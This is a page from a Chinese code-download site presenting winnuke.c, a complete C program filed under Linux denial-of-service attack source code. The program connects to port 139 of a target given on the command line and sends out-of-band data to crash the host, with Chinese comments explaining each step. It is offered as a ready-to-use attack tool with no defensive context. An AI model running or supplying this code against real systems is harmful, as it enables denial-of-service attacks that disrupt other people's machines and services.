⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 winnuke.c

📁 LINUX下常见的DOS攻击源码
💻 C
字号:
#include <stdio.h> 

#include <string.h> 

#include <netdb.h> 

#include <netinet/in.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <unistd.h> 

#define dport 139  /* 攻击端口: 139,也可以改为其他的端口*/ 

int x, s; 

char *str ="Bye";  /* 没有实质意义,可以随意设置 */ 

struct sockaddr_in addr, spoofedaddr; 

/*spoofedaddr在这里定义了,但是没有其他地方用过——笔者注*/ 

struct hostent *host; 

int open_sock(int sock, char *server, int port) { 

    struct sockaddr_in blah; 

    struct hostent *he; 

    bzero((char *)&blah, sizeof(blah)); 

    blah.sin_family=AF_INET; 

    blah.sin_addr.s_addr=inet_addr(server); 

    blah.sin_port=htons(port); 

    if ((he = gethostbyname(server)) != NULL) { 

        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); 

    } 

    else { 

        if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { 

          perror("gethostbyname()"); 

          return(-3); 

        } 

    } 

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) { 

/*16,sockaddr的长度*/ 

            perror("connect()"); 

            close(sock); 

            return(-4); 

        } 

        printf("Connected to [%s:%d].\n",server,port); 

        return; 

} 

void main(int argc, char *argv[]) { 

    if (argc != 2) { 

      printf("Usage: %s <target>\n",argv[0]); 

      exit(0); 

    } 

    if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {/*在本机建立一个TCP的socket*/ 

        perror("socket()"); 

        exit(-1); 

    } 

    open_sock(s,argv[1],dport); /*建立连接*/ 

    printf("Sending crash... "); 

      send(s,str,strlen(str),MSG_OOB); 

      usleep(100000); 

    printf("Done!\n"); 

    close(s); 

} 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -